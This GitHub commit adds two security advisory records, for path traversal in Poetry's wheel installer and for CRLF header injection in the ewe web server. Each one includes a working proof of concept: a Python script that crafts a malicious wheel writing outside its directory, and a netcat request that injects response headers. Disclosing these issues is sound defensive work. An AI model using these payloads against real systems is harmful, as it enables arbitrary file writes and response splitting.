Skip to content

Commit 7b188d8

Browse files
1 parent eba6e06 commit 7b188d8

2 files changed

Lines changed: 117 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2599-h6xx-hpxp",
4+
"modified": "2026-04-01T22:17:36Z",
5+
"published": "2026-04-01T22:17:36Z",
6+
"aliases": [
7+
"CVE-2026-34591"
8+
],
9+
"summary": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write",
10+
"details": "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n \"evil/__init__.py\": b\"\",\n \"../../pwned.txt\": b\"owned\\n\",\n \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "poetry"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.4.0"
29+
},
30+
{
31+
"fixed": "2.3.3"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.3.2"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/python-poetry/poetry"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-22"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T22:17:36Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x2w3-23jr-hrpf",
4+
"modified": "2026-04-01T22:18:27Z",
5+
"published": "2026-04-01T22:18:27Z",
6+
"aliases": [
7+
"CVE-2026-34715"
8+
],
9+
"summary": "ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)",
10+
"details": "### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser — but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -> BitArray {\n let headers =\n list.fold(headers, <<>>, fn(acc, headers) {\n let #(key, value) = headers\n <<acc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\">>\n })\n\n <<headers:bits, \"\\r\\n\">>\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value <- try(\n validate_field_value(value) |> replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -> Response {\n let redirect_url =\n request.get_query(req)\n |> result.try(list.key_find(_, \"next\"))\n |> result.unwrap(\"/home\")\n\n response.new(302)\n |> response.set_header(\"location\", redirect_url)\n |> response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Hex",
21+
"name": "ewe"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.0.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/vshakitskiy/ewe"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-113"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-01T22:18:27Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)